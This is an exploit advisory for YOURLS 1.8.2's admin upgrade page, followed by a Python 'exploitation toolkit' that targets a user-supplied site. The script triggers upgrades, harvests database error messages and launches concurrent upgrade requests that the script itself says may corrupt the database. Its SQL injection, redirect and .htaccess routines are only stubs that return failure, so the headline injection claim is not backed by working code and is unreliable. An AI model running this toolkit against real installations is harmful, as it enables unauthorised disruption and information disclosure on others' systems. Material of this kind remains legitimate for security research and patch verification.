============================================================================================================================================= | # Title : YOURLS 1.8.2 SQL Injection & System Compromise in Administrative Upgrade Functions | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://github.com/yourls/yourls/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212395/ & CVE-2022-0088 [+] Summary : Critical security vulnerabilities discovered in YOURLS upgrade module (/admin/upgrade.php) that could allow attackers to execute arbitrary SQL commands, disclose sensitive database information, and potentially compromise the entire YOURLS installation during upgrade processes. [+] Vulnerabilities: CSRF, IDOR, Missing Authorization, Missing Input Validation [+] POC : python poc.py #!/usr/bin/env python3 import requests import sys import time from urllib.parse import urljoin class YOURLS_Upgrade_Exploit: def __init__(self, target_url, session_cookie=None): self.base_url = target_url.rstrip('/') self.upgrade_url = urljoin(self.base_url, 'admin/upgrade.php') self.session = requests.Session() if session_cookie: self.session.headers.update({'Cookie': session_cookie}) self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 YOURLS Upgrade', 'Accept': 'text/html,application/xhtml+xml', }) def trigger_upgrade(self, oldver="1.3", newver="1.8"): """Trigger upgrade process to exploit vulnerabilities""" print("[*] Triggering upgrade process...") params = { 'step': '1', 'oldver': oldver, 'newver': newver, 'oldsql': '100', 'newsql': '506' } try: response = self.session.get(self.upgrade_url, params=params) if "Updating DB" in response.text or "Updating table structure" in response.text: print("[+] Upgrade process triggered successfully") return True else: print("[-] Could not trigger upgrade") return False except Exception as e: print(f"[-] Error: {str(e)}") return False def sql_injection_upgrade_14(self, sql_payload): """Exploit SQL injection in yourls_update_table_to_14()""" print("[*] Attempting SQL injection during v1.3 to v1.4 upgrade...") # We need to control $url parameter in the update query # The vulnerable line: "UPDATE `$table` SET `keyword` = '$newkeyword' WHERE `url` = '$url';" # First, we need to know a valid URL from the database # Then inject via that URL # This is a blind injection - we need to be creative exploit_url = f"{self.upgrade_url}?step=2&oldver=1.3&newver=1.4&oldsql=100&newsql=200&from=0" # The attack requires: # 1. Knowing an existing URL in the database # 2. Injecting through that URL parameter # 3. Triggering the update process print("[!] Note: This requires prior knowledge of database contents") return False def exploit_redirect_injection(self, redirect_url): """Exploit insecure redirects in upgrade process""" print("[*] Attempting redirect injection...") # Craft malicious upgrade parameters params = { 'step': '3', 'oldver': '1.7', 'newver': '1.8', 'oldsql': '505', 'newsql': '506' } # The vulnerable code path: # yourls_upgrade() → yourls_redirect_javascript() with user-controlled parameters response = self.session.get(self.upgrade_url, params=params) # Look for JavaScript redirects if "location.href" in response.text or "window.location" in response.text: print("[+] Found JavaScript redirects - potential injection point") # We need to control the redirect URL # This would require manipulating upgrade parameters or session return True return False def information_disclosure(self): """Trigger error messages to reveal database information""" print("[*] Triggering information disclosure...") # Trigger SQL errors by providing invalid parameters params = { 'step': '1', 'oldver': 'invalid', 'newver': '1.8', 'oldsql': 'invalid', 'newsql': '506' } try: response = self.session.get(self.upgrade_url, params=params) error_indicators = [ 'SQLSTATE', 'MySQL', 'syntax error', 'Duplicate entry', 'database', 'table', 'column' ] for indicator in error_indicators: if indicator in response.text: print(f"[+] Information disclosure: Found '{indicator}' in response") # Extract error details lines = response.text.split('\n') for line in lines: if indicator in line: print(f" → {line.strip()[:100]}") return True except Exception as e: print(f"[-] Error: {str(e)}") return False def exploit_htaccess_write(self, malicious_content): """Attempt to write malicious .htaccess content""" print("[*] Attempting .htaccess manipulation...") # The vulnerable function: yourls_clean_htaccess_for_14() # and yourls_create_htaccess() # We need to trigger the v1.3 → v1.4 upgrade path params = { 'step': '1', 'oldver': '1.3', 'newver': '1.4', 'oldsql': '100', 'newsql': '200' } response = self.session.get(self.upgrade_url, params=params) if "htaccess" in response.text.lower(): print("[+] .htaccess manipulation functions triggered") print("[!] Note: Full exploitation requires file write permissions") return False def race_condition_exploit(self): """Exploit race conditions during concurrent upgrades""" print("[*] Testing for race condition vulnerabilities...") # The upgrade process doesn't prevent concurrent executions # We can trigger multiple upgrades simultaneously import threading def trigger_upgrade_thread(): params = { 'step': '1', 'oldver': '1.7', 'newver': '1.8', 'oldsql': '505', 'newsql': '506' } self.session.get(self.upgrade_url, params=params, timeout=30) # Launch multiple concurrent upgrades threads = [] for i in range(5): t = threading.Thread(target=trigger_upgrade_thread) threads.append(t) t.start() print("[+] Launched 5 concurrent upgrade attempts") print("[!] This could cause database corruption or inconsistent state") return True def main(): target = input("Enter target YOURLS URL (e.g., http://example.com): ").strip() cookie = input("Enter session cookie (optional, press enter to skip): ").strip() exploit = YOURLS_Upgrade_Exploit(target, cookie if cookie else None) print("\n" + "="*60) print("YOURLS Upgrade Module Exploitation Toolkit") print("="*60 + "\n") print("Select exploit option:") print("1. Trigger upgrade process") print("2. Test for information disclosure") print("3. Test for race conditions") print("4. Full vulnerability scan") print("5. Exit") choice = input("\nEnter choice (1-5): ").strip() if choice == '1': if exploit.trigger_upgrade(): print("[+] Upgrade triggered - check for SQL errors") elif choice == '2': exploit.information_disclosure() elif choice == '3': exploit.race_condition_exploit() elif choice == '4': print("\n[*] Running full vulnerability scan...") exploit.trigger_upgrade() time.sleep(2) exploit.information_disclosure() time.sleep(1) exploit.race_condition_exploit() elif choice == '5': print("[*] Exiting...") sys.exit(0) else: print("[-] Invalid choice") if __name__ == "__main__": main() Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================